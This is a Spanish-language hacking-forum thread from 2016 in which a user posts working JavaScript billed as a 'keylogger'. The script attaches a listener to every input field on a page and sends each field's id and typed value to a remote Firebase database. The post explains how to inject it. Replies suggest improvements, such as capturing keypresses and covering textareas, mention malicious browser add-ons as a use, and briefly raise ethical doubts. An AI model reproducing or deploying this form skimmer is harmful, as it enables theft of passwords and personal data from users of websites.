elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Guía actualizada para evitar que un ransomware ataque tu empresa


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  javascript Keylogger
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: javascript Keylogger  (Leído 5,818 veces)
ike array

Desconectado Desconectado

Mensajes: 5



Ver Perfil
javascript Keylogger
« en: 15 Diciembre 2016, 15:09 pm »

Bueno, básicamente les voy a dejar un código que desarrollé, muy simple de hecho, igual les voy a explicar cómo usarlo, si bien es cierto que se podría mejorar y mucho, así está hasta ahora, quizás siga trabajando en él, quizás no, pero les voy a compartir lo que va.

Código:
"strict";

var input = document.querySelectorAll("input"); //Selecciona todos los imput del navegador

function saveLocal(e) {
    var url = "https://****.firebaseio.com/.json"; //Deben crear una base de datos en firebase y poner la URL acá
    var method = "PATCH"; //Metodo HTTP
    /*El e.srcElement trae el campo id="idEjemplo" y el this.value su valor el resultado sería algo como:
        tel: 30123021
     */
    var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }';
    //XMLHttpRequest es un método usado en javascript para hacer peticiones HTTP como POST, GET, Etc, etc.
    var request = new XMLHttpRequest();
    request.onload = function () {

        /*Ya acá se pueden obtener muchos tipos de respuestá del HTTP, ésto no es parte del keylogger en sí
            Pero es útil si quieren ver info de la transacción en la consola
         */
        var status = request.status; //respuesta del status HTTP, e.j., 200 for "200 OK"
        var data = request.responseText; // Datos que retorna, e.j., un documento HTML o un JSON.
        console.log(status);
        console.log(data);
    } //El onload es un evento que se lanza cuando la petición se carga
    //Abre la petición, especifica el método, envía la URL y el false es para indicar que es sincrona
    request.open(method, url, false);
    //Luego de que la petición está abierta envía la info, en éste caso el log de los inputs
    request.send(postData);
}

for (var i = 0; i < input.length; i++) {
    //Añade a cada input un evento que escucha cuándo alquien sale de la casilla y llama a la función saveLocal
    input[i].addEventListener("blur", saveLocal);
}//Loop por cada item en input

Necesitarán una URL de una base de datos, la crean acá http://firebase.google.com
Para inyectar el código lo único que tienen que hacer es abrir la consola "click derecho inspeccionar elemento de ahí en la tab de consola, en el navegador", copiar y pegar el código ya con su URL, cierran la consola y ya está, si cierran la página se pierden los cambios, si refrescan también. Espero les guste. SaluDDOS
En línea

Can you save my heavy dirty soul?
ThinkByYourself

Desconectado Desconectado

Mensajes: 191


Ver Perfil
Re: javascript Keylogger
« Respuesta #1 en: 15 Diciembre 2016, 22:38 pm »

Dos cosillas.

Primero, vale la pena usar JSON.stringify en lugar de cruda concatenación.
 
Es decir, en lugar de:
Código
  1. var postData = '{ "' + e.srcElement.id + '": "' + this.value + '" }';
  2.  

Valdría la pena hacer:
Código
  1. var postDataObj = {};
  2. postDataObj[e.srcElement.id] = this.value;
  3. var postData = JSON.stringify(postDataObj);
  4.  

Por el value, que puede llevar cualquier cosa.

Y luego, si quieres un keylogger, el evento en lugar de "blur" sería mejor un "change", o un "keypress", o un "keydown", o un "keyup". Pero el "blur" serviría en la mayoría de casos, no sé si en todos...

Es lo que creo. Por lo demás lo veo bien, el método PATCH no lo he usado nunca, no sé si es un requisito de Firebase (que tampoco, creo que es de pago, ¿no?). Pero sí, un bonito keylogger para cualquier página en JS plano.

Saludos
« Última modificación: 15 Diciembre 2016, 23:05 pm por NoBullshit » En línea

No te voy a engañar.
Todos hemos sido programados para normalizar la psicopatía de las élites económicas y políticas, y para realimentar su patrón de ciega codicia.
ike array

Desconectado Desconectado

Mensajes: 5



Ver Perfil
Re: javascript Keylogger
« Respuesta #2 en: 16 Diciembre 2016, 02:43 am »

Sí, se ve más organizado así, tomaré nota para modificarlo.

Por otro lado, aclaro que Firebase it's free hasta cierto punto, pero para éste ejercicio 100% recomendada

El patch en éste caso funciona mejor que el post, pero podrías usar un post, aclarando lo del blur, probé con todos los otros eventos y para mi fue el que mejor funcionó

Saludos y gracias por el feedback :)
En línea

Can you save my heavy dirty soul?
[u]nsigned


Desconectado Desconectado

Mensajes: 2.397

JS/Node developer


Ver Perfil WWW
Re: javascript Keylogger
« Respuesta #3 en: 16 Diciembre 2016, 18:58 pm »

Gracias por el aporte!!

Pero creo que debería ir en la Categoría Hacking Básico y no en desarrollo web, mas aún si lo presentas como un keylogger...

Y por otro lado, como programador web y webmaster que soy, no le veo un uso ético a esto. (pequeña critica constructiva, espero no la tomes a mal)

Saludos
En línea

No hay atajo ante la duda, el misterio se hace aquí...
Se hace carne en cada uno, el misterio es existir!
sommer

Desconectado Desconectado

Mensajes: 3


Ver Perfil
Re: javascript Keylogger
« Respuesta #4 en: 18 Diciembre 2016, 03:30 am »

Buen aporte pero igualmente con el comentario anterior no es algo etico y no le veo la funcionalidad a este codigio porque soy programador web orientado a Black-End aunque la unica funcionalidad que le veo a este codigo es tan solo aprender mas javascript y poder evitar este tipo de codigo evitando que se inyecten en las paginas web pero como dijo siempre " la informacion es libre " cada quien la usa para un proposito diferente.
En línea

ThinkByYourself

Desconectado Desconectado

Mensajes: 191


Ver Perfil
Re: javascript Keylogger
« Respuesta #5 en: 18 Diciembre 2016, 18:48 pm »

Ojo. Podrían escaparse los contenteditable=true y los textareas. Y no sé si habrá alguno más.

Sí hombre, usos éticos  para monitorizar la experiencia de usuario. O para llevar un registro de los formularios que se van llenando.

Usos malos también. A mí me viene a la cabeza como complemento para cualquier addon que se preste.

Saludos
En línea

No te voy a engañar.
Todos hemos sido programados para normalizar la psicopatía de las élites económicas y políticas, y para realimentar su patrón de ciega codicia.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Ayuda con javascript en mi web(no tengo ni idea de javascript)
Desarrollo Web
jonathanmr 1 3,099 Último mensaje 1 Febrero 2013, 06:14 am
por Shell Root
usb keylogger, o keylogger desde modo seguro.
Seguridad
minerif 0 3,185 Último mensaje 24 Marzo 2013, 23:20 pm
por minerif
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines